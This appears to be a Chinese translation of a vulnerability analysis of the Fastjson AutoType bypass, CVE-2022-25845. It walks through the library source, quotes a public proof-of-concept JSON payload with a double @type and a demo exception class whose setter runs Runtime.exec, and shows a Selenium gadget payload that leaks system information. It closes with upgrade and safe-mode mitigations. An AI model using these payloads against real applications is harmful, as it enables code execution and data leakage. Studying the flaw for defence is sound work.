CVE-2022-25845 – Fastjson “Auto Type Bypass” RCE漏洞分析

本文已获取原作者 Uriya Yavnieli 授权。如有错误,欢迎指正。

前言

几周前, Fastjson 发布了一个新版本 (1.2.83) ,其中包含一项安全漏洞修复。据称攻击者可以利用此漏洞在远程机器上执行代码。根据发布的多篇文章,攻击者通过漏洞可以绕过Fastjson中的“AutoTypeCheck”机制,完成远程代码执行。

这个 Fastjson 漏洞最近才收到一个 CVE 漏洞标识符 – CVE-2022-25845,以及高达8.1的CVSS漏洞评分。尽管如此,这个漏洞仍扑朔迷离。尽管这是被宣称为在无处不在的组件中存在的一个高危RCE漏洞(将近5000个Maven项目都存在Fastjson依赖!),却几乎没有任何关于它的公开技术细节。到底是哪里存在漏洞,又是在什么条件下容易被攻击?

在本篇文章中,我们深入研究了这个Fastjson漏洞的严重性,以及那些类型的Java应用程序受此影响。文末是给目前无法升级到指定Fastjson版本的开发人员的一些策略建议。

哪些情况会受到CVE-2022-25845漏洞的影响?

所有依赖 Fastjson 版本 1.2.80 或更早版本的程序,在应用程序中如果包含使用用户数据调用 JSON.parseJSON.parseObject 方法,但不指定要反序列化的特定类,都会受此漏洞的影响。

存在潜在风险的API和安全API的不完全示例.png

虽然看起来很宽泛,但是我们可以发现,在这些前提条件下,攻击者也只能通过这个漏洞调用特定类型的Java反序列化gadget(继承Throwable类的gadget类),这大大限制了这个漏洞的实际影响。

技术深入探究

Fastjson 是一个 Java 库,可以将 Java 对象序列化和反序列化,实现Java对象和JSON的相互转换。

和大多数 JSON 类一样,Fastjson 支持将基本 JSON 类型(数组和对象)分别序列化和反序列化为它们的 Java 等价对象——Arrays 和 Maps。

然而,Fastjson也可以将用户的Java对象(POJO)序列化为JSON,或从JSON反序列化为Java对象。

例如,我们定义了一个名为User的类,以下代码时将其进行序列化为JSON,然后再进行反序列化。

public class App
{
    public static void main( String[] args )
    {
        ...
  String jsonString = JSON.toJSONString(user);
  User user2 = JSON.parseObject(jsonString, User.class);
    }
}

JSON.parseObject()返回一个 JSONObject 对象, 然后这个对象又转换为User类。

有时候,开发人员想要更灵活的代码来接收序列化的JSON,告诉代码JSON应该被反序列化为哪种类。例如下面这种JSON形式:

    "users": [
        {
            "@type": "AdminUser",
            "username": "admin",
            "password": "21232f297a57a5a743894a0e4a801fc3"
        },
        {
            "@type": "GuestUser",
            "username": "guest",
            "password": ""
        }
    ]
}

Fastjson 支持一个名为“AutoType”的功能。启用该功能后,可以为每个用户entry引入类型。开发人员只需要调用如下代码:

JSONObject obj = JSON.parseObject(jsonString, Feature.SupportAutoType);
JSONArray users = (JSONArray)obj.get("users");
// Users[0] is of class type "AdminUser"
// Users[1] is of class type "GuestUser"

但是,如果反序列化的JSON是用户可以控制的,则在启用AutoType的情况下对其进行解析可能会出现反序列化安全问题。因为攻击者可以实例化Classpath上可用的任意类,并为类的构造函数提供任意参数。这个问题已经被很多次证实确实可以利用,并且例如ysoserial之类的框架就存在这里攻击手段的风险(Java的“gadget”类)。

因此,Fastjson的开发者选择默认禁用了AutoType功能,这应该能够安全地解析人员JSON数据了。但是,AutoType的机制比这复杂得多...

绕过 AutoType 默认禁用策略

JSON.parseObject()被调用时,它最终会调用到 DefaultJSONParser.parseObject(),并且传入参数 object 为 JSONObject,fieldName 为 null。当这个方法遇到“@type”这个符号(JSON.DEFAULT_TYPE_KEY)时,就会调用config.checkAutoType:

if (key == JSON.DEFAULT_TYPE_KEY
        && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    String typeName = lexer.scanSymbol(symbolTable, '"');

    if (lexer.isEnabled(Feature.IgnoreAutoType)) {
        continue;
    }

最终,在所有flag都是默认的情况下,代码会调用至config.checkAutoType()。在这里,我们可以看到因为被列入黑名单而无法通过AutoType 机制实例化的类列表。

if (expectClass == null) {
            expectClassFlag = false;
        } else {
            long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
            if (expectHash == 0x90a25f5baa21529eL
                    || expectHash == 0x2d10a5801b9d6136L
                    || expectHash == 0xaf586a571e302c6bL
                    || expectHash == 0xed007300a7b227c6L
                    || expectHash == 0x295c4605fd1eaa95L
                    || expectHash == 0x47ef269aadc650b4L
                    || expectHash == 0x6439c4dff712ae8bL
                    || expectHash == 0xe3dd9875a2dc5283L
                    || expectHash == 0xe2a8ddba03e69e0dL
                    || expectHash == 0xd734ceb4c3e9d1daL
            ) {
                expectClassFlag = false;
            } else {
                expectClassFlag = true;
            }
        }

这些被Ban的类是以下这些:

  • java.lang.Object
  • java.io.Serializable
  • java.lang.Cloneable
  • java.lang.Runnable
  • java.lang.AutoCloseable
  • java.io.Closeable
  • java.lang.Iterable
  • java.util.Collection
  • java.lang.Readable
  • java.util.EventListener

你也可以在 fastjson-blacklist 查看到更多被列入黑名单的类。这个仓库维护了被列入Fastjson黑名单的类的hash值。

最后,代码将尝试找到一个反序列化器deserializer,用来对这个已经被JSON序列化的类进行反序列化。

ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
    && deserClass != JavaBeanDeserializer.class
    && deserClass != ThrowableDeserializer.class) {
    this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
    this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);

ParserConfig.getDeserializer()内部,有一个关键检查,用于验证目标类是否继承了 Throwable 类:

} else if (Throwable.class.isAssignableFrom(clazz)) {
    deserializer = new ThrowableDeserializer(this, clazz);

ThrowableDeserializer.deserialize()会处理这种数据。如果存在“@type”,它将使用 autoTypeCheck()检查并继续正常反序列化:

if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
    if (lexer.token() == JSONToken.LITERAL_STRING) {
        String exClassName = lexer.stringVal();
        exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());

因此,漏洞的核心在于 ,只要目标类继承自 Throwable 类,Fastjson便可以反序列化为任意类!

在这种情况下,负责创建反序列化类的函数是 createException(),它处理了 3 种不同类型的构造函数。一个没有任何参数,一个带有异常消息的参数,一个带有异常消息和异常原因参数。在此之后,它将先尝试调用更为复杂的构造函数(causeConstructor、messageConstructor 和 defaultConstructor):

private Throwable createException(String message, Throwable cause, Class<?> exClass) throws Exception {
        Constructor<?> defaultConstructor = null;
        Constructor<?> messageConstructor = null;
        Constructor<?> causeConstructor = null;
        for (Constructor<?> constructor : exClass.getConstructors()) {
            Class<?>[] types = constructor.getParameterTypes();
            if (types.length == 0) {
                defaultConstructor = constructor;
                continue;
            }

            if (types.length == 1 && types[0] == String.class) {
                messageConstructor = constructor;
                continue;
            }

            if (types.length == 2 && types[0] == String.class && types[1] == Throwable.class) {
                causeConstructor = constructor;
                continue;
            }
        }

        if (causeConstructor != null) {
            return (Throwable) causeConstructor.newInstance(message, cause);
        }

        if (messageConstructor != null) {
            return (Throwable) messageConstructor.newInstance(message);
        }

        if (defaultConstructor != null) {
            return (Throwable) defaultConstructor.newInstance();
        }

作为类实例化的一步,还会为每个相关成员变量调用一个 setter方法:

if (otherValues != null) {
    JavaBeanDeserializer exBeanDeser = null;

    if (exClass != null) {
        if (exClass == clazz) {
            exBeanDeser = this;
        } else {
            ObjectDeserializer exDeser = parser.getConfig().getDeserializer(exClass);
            if (exDeser instanceof JavaBeanDeserializer) {
                exBeanDeser = (JavaBeanDeserializer) exDeser;
            }
        }
    }

    if (exBeanDeser != null) {
        for (Map.Entry<String, Object> entry : otherValues.entrySet()) {
            String key = entry.getKey();
            Object value = entry.getValue();

            FieldDeserializer fieldDeserializer = exBeanDeser.getFieldDeserializer(key);
            if (fieldDeserializer != null) {
                FieldInfo fieldInfo = fieldDeserializer.fieldInfo;
                if (!fieldInfo.fieldClass.isInstance(value)) {
                    value = TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig());
                }
                fieldDeserializer.setValue(ex, value);
            }
        }
    }
}

怎么利用 CVE-2022-25845 漏洞?

在了解了AutoType 机制中的上述“漏洞”之后,让我们看看一个在现实中利用这个漏洞的可行性。这个漏洞据称可以实现远程代码执行。

YoungBear 发布的漏洞利用方案,通过传入这个JSON可以运行任意系统操作命令。

{
    "@type": "java.lang.Exception",
    "@type": "com.example.fastjson.poc20220523.Poc20220523",
    "name": "calc"
}

这个漏洞利用方案依赖于在 Java 应用程序中定义的下面这个继承Exception的类:

package com.example.fastjson.poc20220523;

import java.io.IOException;

/**
 * @author youngbear
 * @email youngbear@aliyun.com
 * @date 2022/5/29 8:28
 * @blog https://blog.csdn.net/next_second
 * @github https://github.com/YoungBear
 * @description POC类:需要代码中有该类
 */
public class Poc20220523 extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

当反序列化执行到上面这一段JSON时,Poc20220523这个类就创建了,并且提供name参数是通过自动调用setter方法。

如代码所示,这将最终调用包含 str = “calc”的恶意 setName() setter 函数:

public void setName(String str) {
    try {
        Runtime.getRuntime().exec(str);
    } catch (IOException e) {
        e.printStackTrace();
    }
}

这部分的实际代码内容为打开windows计算器:

calc.png

这个漏洞利用方案显然只是一个演示,因为任何正常的 Java 应用程序都不会包含类似于 Poc20220523 这样会基于外部参数运行 shell 命令的异常派生类。

现在亟待解决的问题是 — 是否有大家熟知的 Java“gadget”类可以作为此漏洞的一部分被滥用?即继承自Exception或Throwable,并且存在相关的构造函数或者setter方法,可能会造成实际安全影响的Java类。

目前,有一个兼容的gadget类(来自 Selenium 库)已经在被发布了。它会导致非常低影响的数据泄漏:

{
    "x":{
      "@type":"java.lang.Exception",
      "@type":"org.openqa.selenium.WebDriverException"
    },
    "y":{
      "$ref":"$x.systemInformation"
    }
}

反序列化这个 JSON 最终会创建一个 HashMap,其中“y”值为有关机器的一些基本信息:

"System info: host: '', ip: '', os.name: '', os.arch: '', os.version: '', java.version: ''"

根据应用程序的不同,这些信息最终可能会被存储或发送给攻击者(例如,它可能被写入可远程访问日志)。

在检查了 ysoserial 等其他知名来源后,我们没有发现任何可以在实际场景中能够导致远程代码执行的gadget类。因此,想要利用这个漏洞进行实际攻击的黑客,需要对被共计的Java应用服务器进行深入研究,以找到一个加载在Classpath中的自定义的Java gadget类。这个类继承自Exception/Throwable,并包含可用于获取权限、泄漏数据甚至运行任意代码的相关方法。

总而言之,我们评估目前这个漏洞似乎并未构成很高风险的威胁。尽管存在一个潜在影响巨大(远程代码执行)的公共PoC漏洞可利用,并且攻击的条件并不是甚微(将不受信任的输入数据传递给特定易受攻击的 API)。最重要的是,必须找到一个合适的gadget类(或许由于一些不太可能的属性根本不存在)来突破特定被攻击的目标。

如何完全修复 CVE-2022-25845?

要完全修复 CVE-2022-25845,我们建议将 Fastjson 升级到最新版本,目前为 1.2.83。

如何降低 CVE-2022-25845 风险?

启用 Fastjson 的“Safe Mode”可以减缓这个漏洞风险。

可以通过执行以下任何一种操作来开启Safe Mode:

  1. 通过代码配置 ParserConfig.getGlobalInstance().setSafeMode(true);
  2. 通过JVM启动参数配置 -Dfastjson.parser.safeMode=true
  3. 通过Fastjson的配置文件配置项 fastjson.parser.safeMode=true
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,839评论 6 482
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,543评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 153,116评论 0 344
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,371评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,384评论 5 374
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,111评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,416评论 3 400
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,053评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,558评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,007评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,117评论 1 334
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,756评论 4 324
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,324评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,315评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,539评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,578评论 2 355
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,877评论 2 345

推荐阅读更多精彩内容